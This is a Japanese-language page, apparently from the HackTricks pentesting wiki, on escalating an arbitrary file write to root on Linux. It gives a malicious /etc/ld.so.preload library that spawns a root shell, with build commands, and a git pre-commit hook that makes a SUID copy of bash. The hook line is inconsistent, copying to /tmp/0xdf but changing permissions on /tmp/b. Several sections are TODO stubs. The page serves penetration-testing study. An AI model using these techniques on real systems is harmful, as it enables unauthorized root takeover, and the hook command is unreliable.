Arbitrary File Write to Root

HackTricksのサポート

/etc/ld.so.preload

このファイルは**LD_PRELOAD環境変数のように振る舞いますが、SUIDバイナリでも機能します。 これを作成または変更できれば、実行されるバイナリごとにロードされるライブラリへのパス**を追加できます。

例: echo "/tmp/pe.so" > /etc/ld.so.preload

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Git フック

Git フックは、コミットが作成されたとき、マージが行われたときなど、git リポジトリでさまざまなイベントで実行されるスクリプトです。したがって、特権のあるスクリプトまたはユーザーがこれらのアクションを頻繁に実行し、.git フォルダに書き込むことが可能であれば、これを特権昇格に利用できます。

たとえば、新しいコミットが作成されるたびに常に実行されるように、git リポジトリ内の**.git/hooksにスクリプトを生成**することが可能です:

echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit

Cron & Time files

TODO

Service & Socket files

TODO

binfmt_misc

/proc/sys/fs/binfmt_miscにあるファイルは、どのバイナリがどの種類のファイルを実行するかを示しています。TODO: 一般的なファイルタイプが開かれたときに逆シェルを実行するためにこれを悪用する要件をチェックしてください。

HackTricksのサポート

Last updated